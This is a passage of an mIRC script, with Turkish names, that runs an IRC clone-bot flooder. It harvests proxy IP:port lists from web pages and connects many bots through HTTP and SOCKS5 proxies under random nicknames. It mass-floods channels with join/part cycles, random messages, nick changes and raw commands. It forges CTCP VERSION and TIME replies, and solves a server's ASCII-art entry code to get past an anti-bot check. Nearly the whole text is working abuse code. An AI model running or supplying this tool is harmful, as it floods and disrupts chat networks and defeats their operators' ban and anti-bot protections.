SockWrite -n $SockName GET %Clone.Get.EXT. [ $+ [ $Gettok($SockName,2,46) ] ] HTTP/1.0
SockWrite -n $SockName Accept: */*
SockWrite -n $SockName Host: www. $+ %Clone.Get.URL. [ $+ [ $Gettok($SockName,2,46) ] ]
SockWrite -n $SockName Connection: Keep-Alive
SockWrite -n $SockName
Unset %Clone.Get.EXT. [ $+ [ $Gettok($SockName,2,46) ] ]
Unset %Clone.Get.URL. [ $+ [ $Gettok($SockName,2,46) ] ]
}
On *:SockRead:CloneGet.*: {
SockRead %R
If $WildTok(%R,*.*.*.*:*,1,32) && ($Remove($WildTok(%R,*.*.*.*:*,1,32),$Chr(46),$Chr(58)) isnum) {
Did -a Clone 103 $WildTok(%R,*.*.*.*:*,1,32)
Did -ra Clone 113 $Calc($Did(Clone,113) + 1)
}
Unset %R
}
Alias SockQueue {
If ($Sock(CloneGet.*,0) <= 6) { SockOpen $1- }
Else { Set %Clone.Queue. [ $+ [ $Rand(1,9999999) ] ] $1- }
}
On *:SockClose:CloneGet.* {
If ($Var(%Clone.Queue.*,1)) {
SockOpen $Var(%Clone.Queue.*,1).Value
Unset $Var(%Clone.Queue.*,1)
}
Did -ra Clone 111 $Calc($Did(Clone,111) + 1)
}
#Clone.DNS off
On *:DNS: {
If ($RAddress) { Did -ra Clone 2 $RAddress | .TimerClone.Go $Did(Clone,10) 0 Clone.Go }
Else { Clone.Error Unable to resolve DNS of $Did(Clone,10) }
.Disable #Clone.DNS
Halt
}
#Clone.DNS End
Alias Clone.Do {
If ($1 == Hepsi) {
Var %I = 1
While ($Sock(Clone.*,%I)) {
If ($2 == JOINPART) { SockWrite -nt $Sock(Clone.*,%I) JOIN $3 | SockWrite -nt $Sock(Clone.*,%I) PRIVMSG $3 : $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $4- | SockWrite -nt $Sock(Clone.*,%I) PART $3- }
ElseIf ($2 == RAW) { SockWrite -nt $Sock(Clone.*,%I) $Replace($3-,^Nick^,$Clone.Nick($Sock(Clone.*,%I))) }
; Elseif ($2 == privmsg) { sockwrite -nt $Sock(Clone.*,%I) privmsg $3 $+( ,$rand(0,99), ) $4- $+( ,$rand(0,99), ) }
ElseIf ($2 == NICK) {
If ($Did(Clone,67).State == 1) { SockWrite -nt $Sock(Clone.*,%I) NICK $Clone.RandNick }
If ($Did(Clone,68).State == 1) { SockWrite -nt $Sock(Clone.*,%I) NICK $Gettok($Read($Did(Clone,70)),1,32) }
If ($Did(Clone,69).State == 1) { SockWrite -nt $Sock(Clone.*,%I) NICK $Did(Clone,71) $+ $Clone.RandNick(2) }
}
Else { SockWrite -nt $Sock(Clone.*,%I) $2- }
Inc %I
}
}
If ($1 == Secilen(ler)) {
Var %I = 1
While ($Did(Clone,38,%I)) {
If ($Did(Clone,38,%I).State == 1) {
Var %J = 1
While ($Sock(Clone.*,%J)) {
If ($Sock(Clone.*,%J).Mark == $Did(Clone,38,%I)) {
If ($2 == JOINPART) { SockWrite -nt $Sock(Clone.*,%J) JOIN $3 | SockWrite -nt $Sock(Clone.*,%J) PART $3- }
ElseIf ($2 == RAW) { SockWrite -nt $Sock(Clone.*,%J) $Replace($3-,^Nick^,$Clone.Nick($Sock(Clone.*,%J))) }
ElseIf ($2 == NICK) {
If ($Did(Clone,67).State == 1) { SockWrite -nt $Sock(Clone.*,%J) NICK $Clone.RandNick }
If ($Did(Clone,68).State == 1) { SockWrite -nt $Sock(Clone.*,%J) NICK $Gettok($Read($Did(Clone,70)),1,32) }
If ($Did(Clone,69).State == 1) { SockWrite -nt $Sock(Clone.*,%J) NICK $Did(Clone,71) }
}
Else { SockWrite -nt $Sock(Clone.*,%J) $2- }
}
Inc %J
}
}
Inc %I
}
}
}
Alias Clone.Conn { If ($Did(Clone,38,1)) { Return $Did(Clone,38).Lines } }
On *:SockOpen:Clone.*: {
If ($SockErr) { SockClose $SockName | Did -ra Clone 25 $Sock(Clone.*,0) | Return }
If (Clone.Sock.* iswm $SockName) { BSet &Clone 1 5 1 0 | SockWrite $SockName &Clone }
If (Clone.Proxy.* iswm $SockName) {
SockWrite $SockName CONNECT $+($Did(Clone,2),:,$Did(Clone,4)) HTTP/1.1
SockWrite $SockName $CRLF $+ $CRLF $+ $CRLF
Clone.Conn.User $SockName
}
If (Clone.Normal.* iswm $Sockname) { Clone.Conn.User $SockName }
Did -ra Clone 25 $Sock(Clone.*,0)
}
On *:SockRead:Clone.*: {
If ($SockErr) { SockClose $SockName | Did -ra Clone 25 $Sock(Clone.*,0) | Return }
If (Clone.Sock.* iswm $SockName) && (!$Sock($SockName).Mark) {
SockRead &Read
If ($BVar(&Read,1,2) == 5 0) && ($BVar(&Read,3) != 0) {
Var %Port = $Gettok($LongIP($Did(Clone,4)),3,46) $Gettok($LongIP($Did(Clone,4)),4,46)
Var %Serv = $Replace($Did(Clone,2),$Chr(46),$Chr(32))
BSet &Clone.Send 1 5 1 0 1 %Serv %Port
SockWrite $SockName &Clone.Send
}
If ($BVar(&Read,1,3) == 5 0 0) { SockMark $SockName 1 | Clone.Conn.User $SockName }
}
SockRead %Clone.Read
If (%Clone.Read) { ;Echo %Clone.Read }
Tokenize 32 %Clone.Read
Unset %Clone.Read
If (*<HTML>* iswm $1-) && (!$Sock($SockName).Mark) {
SockClose $SockName
}
;echo -s : $sockname >> $1-
If ($1 == PING) { SockWrite -nt $SockName PONG : $+ $Remove($2,:) }
If ($2 == PRIVMSG || $2 == NOTICE) && ($Did(Clone,81).State == 1) {
If ($4 == :PING) { SockWrite -nt $SockName NOTICE $Remove($Gettok($1,1,33),:) :PING $5 }
If ($4 == :TIME) { SockWrite -nt $SockName NOTICE $Remove($Gettok($1,1,33),:) :TIME $ASCTime($Calc($Rand($Calc($CTime - 10000),$Calc($CTime + 10000)))) $+ }
;If ($4 == :VERSION) { SockWrite -nt $SockName NOTICE $Remove($Gettok($1,1,33),:) VERSION mIRC v6.35 Khaled Mardam-Bey }
if $4 == :VERSION {
SockWrite -nt $sockname NOTICE $botfnick($1) VERSION esChat v3.9 © 2009
}
}
If ($2 == 001) {
Var %I = 1
While ($Did(Clone,19,%I)) { SockWrite -nt $SockName $Replace($Did(Clone,19,%I),^Nick^,$3) | Inc %I }
If ($3) { Did -a Clone 38 $3 }
Did -ra Clone 24 $Iif($Clone.Conn,$Clone.Conn,0)
SockWrite -nt $SockName Mode $3 $Did(Clone,18)
SockMark $SockName $3
}
if ($2 == 006) {
giriskod $sockname $right($4-,-1)
}
If ($2 == 433) {
If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) {
If ($Did(Clone,67).State == 1) { .TimerClone. [ $+ [ $SockName ] ] 1 1 SockWrite -nt $SockName NICK $Clone.RandNick }
If ($Did(Clone,68).State == 1) { .TimerClone. [ $+ [ $SockName ] ] 1 1 SockWrite -nt $SockName NICK $Read($Did(Clone,70)) }
If ($Did(Clone,69).State == 1) { .TimerClone. [ $+ [ $SockName ] ] 1 1 SockWrite -nt $SockName NICK $Did(Clone,71) $+ $Clone.RandNick(2) }
}
Else {
If ($Did(Clone,11).State == 1) { .TimerClone. [ $+ [ $SockName ] ] 1 1 SockWrite -nt $SockName NICK $Clone.RandNick }
If ($Did(Clone,12).State == 1) { .TimerClone. [ $+ [ $SockName ] ] 1 1 Clone.Conn.User $SockName }
If ($Did(Clone,13).State == 1) { .TimerClone. [ $+ [ $SockName ] ] 1 1 SockWrite -nt $SockName NICK $Did(Clone,15) $+ $Clone.RandNick(2) }
}
}
If ($2 == NICK) && ($Remove($Gettok($1,1,33),:) == $Sock($SockName).Mark) {
Var %I = 1
While ($Did(Clone,38,%I)) {
If ($Did(Clone,38,%I) == $Remove($Gettok($1,1,33),:)) { Did -o Clone 38 %I $Remove($3,:) }
Inc %I
}
SockMark $SockName $Remove($3,:)
}
Did -ra Clone 25 $Sock(Clone.*,0)
}
Alias Clone.Ignore {
Var %I = 1
While ($Did(Clone,96,%I)) {
If ($Did(Clone,96,%I) iswm $Remove($1,$Chr(58))) { Return $Did(Clone,96,%I) }
Inc %I
}
}
On *:SockClose:Clone.*: {
If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) {
Var %I = 1
While ($Did(Clone,38,%I)) {
If ($Did(Clone,38,%I) == $Sock($SockName).Mark) { Did -d Clone 38 %I }
Inc %I
}
}
Did -ra Clone 25 $Sock(Clone.*,0)
Did -ra Clone 24 $Iif($Clone.Conn,$Clone.Conn,0)
}
Alias Clone.Nick { Return $Sock($1).Mark }
Alias Clone.Sock {
Var %I = 1
While ($Sock(Clone.*,%I)) {
If ($Sock(Clone.*,%I).Mark == $1) { Return $Sock(Clone.*,%I) }
Inc %I
}
}
Alias Clone.RandNick {
Var %I = $Iif($1,$1,$Rand(3,12)), %J = 1
While (%J <= %I) { Var %C = $Rand(1,0), %N = %N $+ $Iif(%C == 1,$Rand(A,Z),$Rand(a,z)) | Inc %J }
Return %N
}
Alias Clone.Conn.User {
If ($Did(Clone,11).State == 1) {
SockWrite -nt $1 PASS $Did(Clone,86)
SockWrite -nt $1 USER $Did(Clone,88) "" "" : $+ $Iif($Did(Clone,85),$Did(Clone,85),$Clone.RandNick($Rand(20,70)))
SockWrite -nt $1 NICK $Clone.RandNick
}
If ($Did(Clone,12).State == 1) {
Var %N = $Gettok($Read($Did(Clone,14)),1,32)
SockWrite -nt $1 PASS $Did(Clone,86)
SockWrite -nt $1 USER $Did(Clone,88) "" "" : $+ $Iif($Did(Clone,85),$Did(Clone,85),%N)
SockWrite -nt $1 NICK %N
}
If ($Did(Clone,13).State == 1) {
SockWrite -nt $1 PASS $Did(Clone,86)
SockWrite -nt $1 USER $Did(Clone,88) "" "" : $+ $Iif($Did(Clone,85),$Did(Clone,85),$Did(Clone,15))
SockWrite -nt $1 NICK $Did(Clone,15) $+ $Clone.RandNick(2)
}
}
Alias Clone.Go {
If (!$Did(Clone,34,%Clone.List)) { Set %Clone.List 1 }
:Again
Var %R = $Rand(0,9999999)
If ($Sock($+(Clone.,$Did(Clone,6),.,%R))) { Goto Again }
If ($Did(Clone,6) == Normal) { SockOpen Clone.Normal. $+ %R $Did(Clone,2) $Did(Clone,4) }
Else { SockOpen $+(Clone.,$Did(Clone,6),.,%R) $Did(Clone,34,%Clone.List) }
Inc %Clone.List
Did -ra Clone 25 $Sock(Clone.*,0)
}
Dialog -l Clone.IPs {
Title "Connected IP Ports"
Size -1 -1 254 360
Option Pixels
Edit "", 1, 8 8 236 317, Read Multi
Button &Refresh List, 2, 8 332 235 20
}
On *:Dialog:Clone.IPs:Init:*: { Clone.IPs }
On *:Dialog:Clone.IPs:SClick:2: { Clone.IPs }
Alias Clone.IPs {
If (!$Dialog(Clone.IPs)) { Dialog -md Clone.IPs Clone.IPs }
Did -r Clone.IPs 1
Var %I = 1
While ($Sock(Clone.*,%I)) {
If ($Sock(Clone.*,%I).Mark) && ($Sock(Clone.*,%I).Mark != 1) && (!$DidWM(Clone.IPs,1,$Sock(Clone.*,%I).IP $Sock(Clone.*,%I).Port)) {
Did -i Clone.IPs 1 1 $Sock(Clone.*,%I).IP $Sock(Clone.*,%I).Port
}
Inc %I
}
}
.type/clone
alias botfnick {
return $remove($gettok($1,1,33),:)
}
alias giriskod {
if ( %kodsatir == $null ) || ( %kodsatir == 8 ) { set %kodsatir 1 }
if ( $2- != 0,0##########0,0##########0,0########## ) {
hadd -m kod satir $+ %kodsatir $2-
inc %kodsatir
}
if ( %kodsatir == 8 ) { kod $1 }
}
alias kod {
hadd -m kod0 satir1 0,0##4######0##
hadd -m kod0 satir2 0,0#4##0####4##0#
hadd -m kod0 satir3 0,0#4##0####4##0#
hadd -m kod0 satir4 0,0#4##0####4##0#
hadd -m kod0 satir5 0,0#4##0####4##0#
hadd -m kod0 satir6 0,0#4##0####4##0#
hadd -m kod0 satir7 0,0##4######0##
hadd -m kod1 satir1 0,0###4###0####
hadd -m kod1 satir2 0,0##4####0####
hadd -m kod1 satir3 0,0#4#####0####
hadd -m kod1 satir4 0,0####4##0####
hadd -m kod1 satir5 0,0####4##0####
hadd -m kod1 satir6 0,0####4##0####
hadd -m kod1 satir7 0,0#4########0#
hadd -m kod2 satir1 0,0##4######0##
hadd -m kod2 satir2 0,0#4##0####4##0#
hadd -m kod2 satir3 0,0#######4##0#
hadd -m kod2 satir4 0,0######4##0##
hadd -m kod2 satir5 0,0#####4##0###
hadd -m kod2 satir6 0,0###4##0#####
hadd -m kod2 satir7 0,0#4########0#
hadd -m kod3 satir1 0,0#4#######0##
hadd -m kod3 satir2 0,0#######4##0#
hadd -m kod3 satir3 0,0#######4##0#
hadd -m kod3 satir4 0,0#4#######0##
hadd -m kod3 satir5 0,0#######4##0#
hadd -m kod3 satir6 0,0#######4##0#
hadd -m kod3 satir7 0,0#4#######0##
hadd -m kod4 satir1 0,0#4##0#######
hadd -m kod4 satir2 0,0#4##0#######
hadd -m kod4 satir3 0,0#4##0##4##0###
hadd -m kod4 satir4 0,0#4##0##4##0###
hadd -m kod4 satir5 0,0#4##0##4##0###
hadd -m kod4 satir6 0,0#4########0#
hadd -m kod4 satir7 0,0#0####4##0###
hadd -m kod5 satir1 0,0#4########0#
hadd -m kod5 satir2 0,0#4#0########
hadd -m kod5 satir3 0,0#4#0########
hadd -m kod5 satir4 0,0#4#######0##
hadd -m kod5 satir5 0,0########4#0#
hadd -m kod5 satir6 0,0########4#0#
hadd -m kod5 satir7 0,0#4#######0##
hadd -m kod6 satir1 0,0##4#######0#
hadd -m kod6 satir2 0,0#4##0#######
hadd -m kod6 satir3 0,0#4##0#######
hadd -m kod6 satir4 0,0#4#######0##
hadd -m kod6 satir5 0,0#4##0####4##0#
hadd -m kod6 satir6 0,0#4##0####4##0#
hadd -m kod6 satir7 0,0##4######0##
hadd -m kod7 satir1 0,0#4########0#
hadd -m kod7 satir2 0,0#######4##0#
hadd -m kod7 satir3 0,0######4##0##
hadd -m kod7 satir4 0,0#####4##0###
hadd -m kod7 satir5 0,0####4##0####
hadd -m kod7 satir6 0,0###4##0#####
hadd -m kod7 satir7 0,0##4##0######
hadd -m kod8 satir1 0,0##4######0##
hadd -m kod8 satir2 0,0#4##0####4##0#
hadd -m kod8 satir3 0,0#4##0####4##0#
hadd -m kod8 satir4 0,0##4#4#####0##
hadd -m kod8 satir5 0,0#4##0####4##0#
hadd -m kod8 satir6 0,0#4##0####4##0#
hadd -m kod8 satir7 0,0##4######0##
hadd -m kod9 satir1 0,0##4######0##
hadd -m kod9 satir2 0,0#4##0####4##0#
hadd -m kod9 satir3 0,0#4##0####4##0#
hadd -m kod9 satir4 0,0##4#######0#
hadd -m kod9 satir5 0,0#######4##0#
hadd -m kod9 satir6 0,0#######4##0#
hadd -m kod9 satir7 0,0##4######0##
var %giriskod1 $kontrol(1)
var %giriskod2 $kontrol(2)
var %giriskod3 $kontrol(3)
hfree kod
hfree kod0
hfree kod1
hfree kod2
hfree kod3
hfree kod4
hfree kod5
hfree kod6
hfree kod7
hfree kod8
hfree kod9
unset %kodsatir
if ( %giriskod1 == $null ) || ( %giriskod2 == $null ) || ( %giriskod3 == $null ) { echo -a Giriş Kodu Bulunamadı! | halt }
if $sock($1) { SockWrite -nt $1 giris %giriskod1 $+ %giriskod2 $+ %giriskod3 }
if $1 == $me { giris %giriskod1 $+ %giriskod2 $+ %giriskod3 }
}
alias kontrol {
if ( $1 == $null ) { echo -a eksik | halt }
if ( $1 = 1 ) {
var %aralikba 1
var %aralikbi 30
}
if ( $1 = 2 ) {
var %aralikba 15
var %aralikbi 30
}
if ( $1 = 3 ) {
var %aralikba 35
var %aralikbi 50
}
var %ii -1
var %tt 9
while %ii < %tt {
inc %ii
;echo -a Kontrol Edilen Değer %ii
var %i 0
var %t 7
var %ttoplam 0
while %i < %t {
inc %i
;echo -a $mid($hget(kod, satir $+ %i), %aralikba, %aralikbi)
if ( $hget(kod $+ %ii, satir $+ %i) != $null ) {
if ( * $+ $hget(kod $+ %ii, satir $+ %i) $+ * iswm $mid($hget(kod, satir $+ %i),%aralikba,%aralikbi) ) {
inc %ttoplam 2
}
}
}
if ( %ttoplam == 14 ) { return %ii }
}
}
|
|
|
|
|
